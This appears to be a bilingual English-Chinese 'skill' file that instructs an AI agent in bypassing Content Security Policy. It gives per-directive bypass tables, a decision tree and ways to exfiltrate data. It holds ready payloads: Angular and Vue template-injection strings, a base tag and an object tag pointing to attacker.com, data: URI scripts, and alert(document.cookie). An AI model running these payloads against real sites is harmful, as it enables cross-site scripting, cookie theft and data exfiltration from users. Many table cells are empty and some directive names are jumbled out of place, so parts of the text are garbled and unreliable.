csp-bypass-advanced
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: CSP Bypass — Advanced Techniques
技能:CSP 绕过 —— 高级技巧
AI LOAD INSTRUCTION: Covers per-directive bypass techniques, nonce/hash abuse, trusted CDN exploitation, data exfiltration despite CSP, and framework-specific bypasses. Base models often suggestbypass without checking if the CSP actually uses it, or miss the criticalunsafe-inlineandbase-urigaps.object-src
AI 加载说明:覆盖按指令分类的绕过技术、nonce/哈希滥用、可信CDN利用、CSP限制下的数据外泄,以及框架专属绕过方法。基础模型通常只会建议绕过方案,而不会检查CSP是否实际启用了该配置,或是遗漏了关键的unsafe-inline和base-uri漏洞。object-src
0. RELATED ROUTING
0. 相关路由
- xss-cross-site-scripting for XSS vectors to deliver after CSP bypass
- dangling-markup-injection when CSP blocks scripts but HTML injection exists — exfiltrate without JS
- crlf-injection when CRLF can inject CSP header or steal nonce via response splitting
- waf-bypass-techniques when both WAF and CSP must be bypassed
- clickjacking when CSP lacks — clickjacking still possible
frame-ancestors
- xss-cross-site-scripting 用于CSP绕过之后要投放的XSS攻击向量
- dangling-markup-injection 当CSP阻止脚本但存在HTML注入时使用 —— 无需JS即可实现数据外泄
- crlf-injection 当可通过CRLF注入CSP头部或通过响应拆分窃取nonce时使用
- waf-bypass-techniques 当需要同时绕过WAF和CSP时使用
- clickjacking 当CSP缺少配置时 —— 点击劫持仍然可行
frame-ancestors
1. CSP DIRECTIVE REFERENCE MATRIX
1. CSP 指令参考矩阵
| Directive | Controls | Default Fallback |
|---|---|---|
| Fallback for all | None (browser default: allow all) |
| JavaScript execution | |
| CSS loading | |
| Image loading | |
| XHR, fetch, WebSocket, EventSource | |
| iframe/frame sources | |
| Font loading | |
| | |
| | |
| | No fallback — unrestricted if absent |
| Form submission targets | No fallback — unrestricted if absent |
| Who can embed this page (replaces X-Frame-Options) | No fallback — unrestricted if absent |
| Where violation reports are sent | N/A |
| Navigation targets (limited browser support) | No fallback |
Critical insight: , , and do NOT fall back to . Their absence is always a potential bypass vector.
base-uriform-actionframe-ancestorsdefault-src| 指令 | 控制范围 | 默认回退规则 |
|---|---|---|
| 所有未显式配置的 | 无(浏览器默认:全部允许) |
| JavaScript执行权限 | |
| CSS加载权限 | |
| 图片加载权限 | |
| XHR、fetch、WebSocket、EventSource请求权限 | |
| iframe/frame来源权限 | |
| 字体加载权限 | |
| | |
| | |
| | 无回退 —— 未配置则不受限制 |
| 表单提交目标权限 | 无回退 —— 未配置则不受限制 |
| 允许嵌入当前页面的来源(替代X-Frame-Options) | 无回退 —— 未配置则不受限制 |
| 违规报告发送地址 | 无 |
| 页面跳转目标权限(浏览器支持度有限) | 无回退 |
关键要点:、和不会回退到。未配置这些指令始终是潜在的绕过攻击向量。
base-uriform-actionframe-ancestorsdefault-src2. BYPASS TECHNIQUES BY DIRECTIVE
2. 按指令分类的绕过技术
2.1 script-src 'self'
script-src 'self'2.1 script-src 'self'
script-src 'self'The app only allows scripts from its own origin. Bypass vectors:
| Vector | Technique |
|---|---|
| JSONP endpoints | |
| Uploaded JS files | Upload |
| DOM XSS sinks | Find DOM sinks (innerHTML, eval, document.write) in existing same-origin JS — inject via URL fragment/param |
| Angular/Vue template injection | If framework is loaded from |
| Service Worker | Register SW from same origin → intercept and modify responses |
| Path confusion | |
应用仅允许来自自身域名的脚本执行,可用绕过向量:
| 向量 | 技术方案 |
|---|---|
| JSONP 端点 | |
| 上传的JS文件 | 上传 |
| DOM XSS sink | 在现有同源JS中查找DOM sink(innerHTML、eval、document.write)—— 通过URL片段/参数注入 payload |
| Angular/Vue 模板注入 | 如果框架从 |
| Service Worker | 从同源注册Service Worker → 拦截并修改响应内容 |
| 路径混淆 | |
2.2 script-src
with CDN Whitelist
script-src2.2 script-src
配置CDN白名单
script-srcscript-src 'self' *.googleapis.com *.gstatic.com cdn.jsdelivr.net| Whitelisted CDN | Bypass |
|---|---|
| Host arbitrary JS via CDNJS (find lib with callback/eval): |
| jsdelivr serves any npm package or GitHub file: |
| Google JSONP endpoints, Google Maps callback parameter |
| Same as jsdelivr — serves arbitrary npm packages |
| CloudFront distributions are shared — any CF customer's JS is allowed |
Trick: Search for JSONP endpoints on whitelisted domains:
site:googleapis.com inurl:callbackscript-src 'self' *.googleapis.com *.gstatic.com cdn.jsdelivr.net| 白名单CDN | 绕过方案 |
|---|---|
| 通过CDNJS托管任意JS(查找支持callback/eval的库: |
| jsdelivr可提供任意npm包或GitHub文件: |
| 谷歌JSONP端点、谷歌地图callback参数 |
| 和jsdelivr功能一致 —— 可提供任意npm包 |
| CloudFront分发是共享的 —— 所有CF客户的JS都被允许 |
技巧:在白名单域名上搜索JSONP端点:
site:googleapis.com inurl:callback2.3 script-src 'unsafe-eval'
script-src 'unsafe-eval'2.3 script-src 'unsafe-eval'
script-src 'unsafe-eval'eval()Function()setTimeout(string)setInterval(string)javascript
// Template injection → RCE-equivalent in browser
[].constructor.constructor('alert(document.cookie)')()
// JSON.parse doesn't execute code, but if result is used in eval context:
// App does: eval('var x = ' + JSON.parse(userInput))eval()Function()setTimeout(string)setInterval(string)javascript
// 模板注入 → 等价于浏览器端远程代码执行
[].constructor.constructor('alert(document.cookie)')()
// JSON.parse本身不执行代码,但如果返回结果被用于eval上下文:
// 应用逻辑:eval('var x = ' + JSON.parse(userInput))2.4 script-src 'nonce-xxx'
script-src 'nonce-xxx'2.4 script-src 'nonce-xxx'
script-src 'nonce-xxx'Only scripts with matching nonce attribute execute.
| Bypass | Condition |
|---|---|
| Nonce reuse | Server uses same nonce across requests or for all users → predictable |
| Nonce injection via CRLF | CRLF in response header → inject new CSP header with known nonce, or inject |
| Dangling markup to steal nonce | |
| DOM clobbering | Overwrite nonce-checking code via DOM clobbering: |
| Script gadgets | Trusted nonced script uses DOM data to create new script elements — inject that DOM data |
只有携带匹配nonce属性的脚本才能执行。
| 绕过方案 | 适用条件 |
|---|---|
| Nonce复用 | 服务器跨请求或对所有用户使用相同nonce → 可预测 |
| 通过CRLF注入nonce | 响应头存在CRLF注入 → 注入携带已知nonce的新CSP头,或是注入 |
| 悬挂标记窃取nonce | |
| DOM clobbering | 通过DOM clobbering覆盖nonce校验代码: |
| 脚本小工具 | 带可信nonce的脚本使用DOM数据创建新的脚本元素 → 注入对应的DOM数据 |
2.5 script-src 'strict-dynamic'
script-src 'strict-dynamic'2.5 script-src 'strict-dynamic'
script-src 'strict-dynamic'Trust propagation: any script created by an already-trusted script is also trusted, regardless of source.
| Bypass | Technique |
|---|---|
| |
| Script gadget in trusted code | Find trusted script that does |
| DOM XSS in trusted script | Trusted script reads |
信任传播:任何已经被信任的脚本创建的脚本同样会被信任,不受来源限制。
| 绕过方案 | 技术方案 |
|---|---|
| |
| 可信代码中的脚本小工具 | 查找可信脚本中 |
| 可信脚本中的DOM XSS | 可信脚本从用户可控来源读取 |
2.6 Angular / Vue CSP Bypass
2.6 Angular / Vue CSP 绕过
Angular (with CSP):
html
<!-- Angular template expression bypasses script-src when angular.js is whitelisted -->
<div ng-app ng-csp>
{{$eval.constructor('alert(1)')()}}
</div>
<!-- Angular >= 1.6 sandbox removed, so simpler: -->
{{constructor.constructor('alert(1)')()}}Vue.js:
html
<!-- Vue 2 with runtime compiler -->
<div id=app>{{_c.constructor('alert(1)')()}}</div>
<script src="https://whitelisted-cdn/vue.js"></script>
<script>new Vue({el:'#app'})</script>Angular(启用CSP场景):
html
<!-- 当angular.js被加入白名单时,Angular模板表达式可绕过script-src限制 -->
<div ng-app ng-csp>
{{$eval.constructor('alert(1)')()}}
</div>
<!-- Angular >= 1.6 移除了沙箱,方案更简单: -->
{{constructor.constructor('alert(1)')()}}Vue.js:
html
<!-- 带运行时编译器的Vue 2 -->
<div id=app>{{_c.constructor('alert(1)')()}}</div>
<script src="https://whitelisted-cdn/vue.js"></script>
<script>new Vue({el:'#app'})</script>2.7 Missing object-src
object-src2.7 缺失object-src
配置
object-srcIf is not set (falls back to ), and allows some origins:
object-srcdefault-srcdefault-srchtml
<!-- Flash-based bypass (legacy, mostly patched, but still appears on old systems) -->
<object data="https://attacker.com/evil.swf" type="application/x-shockwave-flash">
<param name="AllowScriptAccess" value="always">
</object>
<!-- PDF plugin abuse -->
<embed src="/user-upload/evil.pdf" type="application/pdf">如果未配置(会回退到),且允许部分来源:
object-srcdefault-srcdefault-srchtml
<!-- 基于Flash的绕过(过时方案,大多已被修复,但旧系统中仍存在) -->
<object data="https://attacker.com/evil.swf" type="application/x-shockwave-flash">
<param name="AllowScriptAccess" value="always">
</object>
<!-- PDF插件滥用 -->
<embed src="/user-upload/evil.pdf" type="application/pdf">2.8 Missing base-uri
base-uri2.8 缺失base-uri
配置
base-urihtml
<!-- Inject base tag → all relative URLs resolve to attacker -->
<base href="https://attacker.com/">
<!-- Existing script: <script src="/js/app.js"> -->
<!-- Now loads: https://attacker.com/js/app.js -->This bypasses , , and for relative script paths.
'nonce-xxx''strict-dynamic'script-src 'self'html
<!-- 注入base标签 → 所有相对URL都会解析到攻击者域名 -->
<base href="https://attacker.com/">
<!-- 现有脚本:<script src="/js/app.js"> -->
<!-- 实际加载:https://attacker.com/js/app.js -->该方案可绕过、和对相对路径脚本的限制。
'nonce-xxx''strict-dynamic'script-src 'self'2.9 Missing frame-ancestors
frame-ancestors2.9 缺失frame-ancestors
配置
frame-ancestorsCSP without → page can be framed → clickjacking possible.
frame-ancestorsX-Frame-Optionsframe-ancestorsframe-ancestorsCSP未配置 → 页面可被嵌入 → 可实施点击劫持。
frame-ancestors如果存在CSP配置,会覆盖头。但如果CSP存在但未配置,部分浏览器会完全忽略XFO配置。
frame-ancestorsX-Frame-Optionsframe-ancestors3. CSP IN META TAG vs. HEADER
3. META标签中的CSP vs 响应头中的CSP
html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">Meta tag limitations:
- Cannot set (ignored in meta)
frame-ancestors - Cannot set /
report-urireport-to - Cannot set
sandbox - If injected via HTML injection before the meta tag in DOM order, attacker's meta CSP may be processed first (browser uses first encountered)
- If page has both header CSP and meta CSP, both apply (most restrictive wins)
html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">Meta标签限制:
- 无法配置(meta中会被忽略)
frame-ancestors - 无法配置/
report-urireport-to - 无法配置
sandbox - 如果通过HTML注入在DOM顺序中现有meta标签之前注入了攻击者的meta CSP,浏览器会优先处理先出现的CSP配置
- 如果页面同时存在响应头CSP和meta CSP,两者同时生效(取最严格的规则)
4. DATA EXFILTRATION DESPITE CSP
4. CSP限制下的数据外泄
When , , etc. are locked down, alternative exfiltration channels:
connect-srcimg-src| Channel | CSP Directive Needed to Block | Technique |
|---|---|---|
| DNS prefetch | None (CSP cannot block DNS) | |
| WebRTC | None (CSP cannot block) | |
| | Often missed in CSP |
| Redirect-based | | |
| CSS injection | | |
| | |
| N/A | Trigger CSP violation → report contains blocked-uri with data |
| Form submission | | |
DNS-based exfiltration is nearly impossible to block with CSP — this is the most reliable channel.
当、等被严格限制时,可使用替代外泄渠道:
connect-srcimg-src| 渠道 | 拦截所需的CSP指令 | 技术方案 |
|---|---|---|
| DNS预取 | 无(CSP无法拦截DNS请求) | |
| WebRTC | 无(CSP无法拦截) | |
| | 通常会在CSP配置中被遗漏 |
| 基于重定向 | | |
| CSS注入 | | |
| | |
| 无 | 触发CSP违规 → 报告中会携带包含数据的blocked-uri |
| 表单提交 | | |
基于DNS的外泄几乎无法通过CSP拦截 —— 这是最可靠的外泄渠道。
5. CSP BYPASS DECISION TREE
5. CSP绕过决策树
CSP present?
├── Read full policy (response headers + meta tags)
│
├── Check for obvious weaknesses
│ ├── 'unsafe-inline' in script-src? → Standard XSS works
│ ├── 'unsafe-eval' in script-src? → eval/Function/setTimeout bypass
│ ├── * or data: in script-src? → <script src="data:,alert(1)">
│ └── No CSP header at all on some pages? → Find CSP-free page
│
├── Check missing directives
│ ├── No base-uri? → <base href="https://attacker.com/"> → hijack relative scripts
│ ├── No object-src? → Flash/plugin-based bypass (legacy)
│ ├── No form-action? → Exfil via form submission
│ ├── No frame-ancestors? → Clickjacking possible
│ └── No connect-src falling back to lax default-src? → fetch/XHR exfil
│
├── script-src 'self'?
│ ├── Find JSONP endpoints on same origin
│ ├── Find file upload → upload .js file
│ ├── Find DOM XSS in existing same-origin scripts
│ └── Find Angular/Vue loaded from self → template injection
│
├── script-src with CDN whitelist?
│ ├── Check CDN for JSONP endpoints
│ ├── Check jsdelivr/unpkg/cdnjs → load attacker-controlled package
│ └── Check *.cloudfront.net → shared distribution namespace
│
├── script-src 'nonce-xxx'?
│ ├── Nonce reused across requests? → Replay
│ ├── CRLF injection available? → Inject nonce
│ ├── Dangling markup to steal nonce
│ └── Script gadget in trusted scripts
│
├── script-src 'strict-dynamic'?
│ ├── base-uri not set? → <base> hijack
│ ├── DOM XSS in trusted script? → Inherit trust
│ └── Script gadget creating dynamic scripts from DOM data
│
└── All script execution blocked?
├── Dangling markup injection → exfil without JS (see ../dangling-markup-injection/SKILL.md)
├── DNS prefetch exfiltration
├── WebRTC exfiltration
├── CSS injection for data extraction
└── Form action exfiltration是否存在CSP?
├── 读取完整策略(响应头 + meta标签)
│
├── 检查明显弱点
│ ├── script-src中存在'unsafe-inline'? → 标准XSS即可生效
│ ├── script-src中存在'unsafe-eval'? → eval/Function/setTimeout绕过
│ ├── script-src中存在*或data:? → <script src="data:,alert(1)">
│ └── 部分页面完全没有CSP头? → 查找无CSP的页面
│
├── 检查缺失的指令
│ ├── 未配置base-uri? → <base href="https://attacker.com/"> → 劫持相对路径脚本
│ ├── 未配置object-src? → 基于Flash/插件的绕过(过时)
│ ├── 未配置form-action? → 通过表单提交外泄
│ ├── 未配置frame-ancestors? → 可实施点击劫持
│ └── 未配置connect-src且回退的default-src规则宽松? → fetch/XHR外泄
│
├── 配置script-src 'self'?
│ ├── 查找同源的JSONP端点
│ ├── 查找文件上传功能 → 上传.js文件
│ ├── 查找现有同源脚本中的DOM XSS
│ └── 查找从self加载的Angular/Vue → 模板注入
│
├── script-src配置了CDN白名单?
│ ├── 检查CDN是否存在JSONP端点
│ ├── 检查jsdelivr/unpkg/cdnjs → 加载攻击者控制的包
│ └── 检查*.cloudfront.net → 共享分发命名空间
│
├── 配置script-src 'nonce-xxx'?
│ ├── nonce是否跨请求复用? → 重放攻击
│ ├── 存在CRLF注入? → 注入nonce
│ ├── 悬挂标记窃取nonce
│ └── 可信脚本中的脚本小工具
│
├── 配置script-src 'strict-dynamic'?
│ ├── 未配置base-uri? → <base>劫持
│ ├── 可信脚本中存在DOM XSS? → 继承信任
│ └── 从DOM数据创建动态脚本的脚本小工具
│
└── 所有脚本执行都被拦截?
├── 悬挂标记注入 → 无需JS外泄(参考../dangling-markup-injection/SKILL.md)
├── DNS预取外泄
├── WebRTC外泄
├── CSS注入提取数据
└── 表单action外泄6. TRICK NOTES — WHAT AI MODELS MISS
6. 技巧提示 —— AI模型容易遗漏的点
- does NOT restrict
default-src 'self'orbase-uri— these have no fallback. This is the #1 CSP mistake.form-action - ignores whitelist: When
strict-dynamicis present, host-based allowlists andstrict-dynamicare ignored for script loading. Only nonce/hash and trust propagation matter.'self' - Multiple CSPs stack: If both header and
Content-Security-PolicyCSP exist, the browser enforces BOTH — the effective policy is the intersection (most restrictive).<meta> - does not enforce — it only reports. Check for the correct header name.
Content-Security-Policy-Report-Only - Nonce length matters: Nonces should be ≥128 bits of entropy. Short or predictable nonces can be brute-forced or guessed.
- Report-uri information disclosure: CSP violation reports sent to contain
report-uri,blocked-uri,source-file— this can leak internal URLs, script paths, and page structure to whoever controls the report endpoint.line-number - in script-src:
data:allowsscript-src 'self' data:— trivial bypass, but commonly seen in real-world CSPs.<script src="data:text/javascript,alert(1)">
- 不会限制
default-src 'self'或base-uri—— 这些指令没有回退规则。这是排名第一的CSP配置错误。form-action - 会忽略白名单:当存在
strict-dynamic配置时,基于主机的允许列表和strict-dynamic对脚本加载无效,只有nonce/哈希和信任传播规则生效。'self' - 多CSP配置叠加生效:如果同时存在响应头和
Content-Security-PolicyCSP,浏览器会同时强制执行两者 —— 生效策略是两者的交集(最严格的规则)。<meta> - 不会强制执行规则 —— 仅上报违规。注意检查头部名称是否正确。
Content-Security-Policy-Report-Only - Nonce长度很重要:Nonce的熵应≥128位。短或可预测的nonce可被暴力破解或猜测。
- Report-uri信息泄露:发送到的CSP违规报告包含
report-uri、blocked-uri、source-file—— 可能会向控制报告端点的一方泄露内部URL、脚本路径和页面结构。line-number - script-src中的:
data:允许script-src 'self' data:—— 非常容易绕过,但在实际CSP配置中非常常见。<script src="data:text/javascript,alert(1)">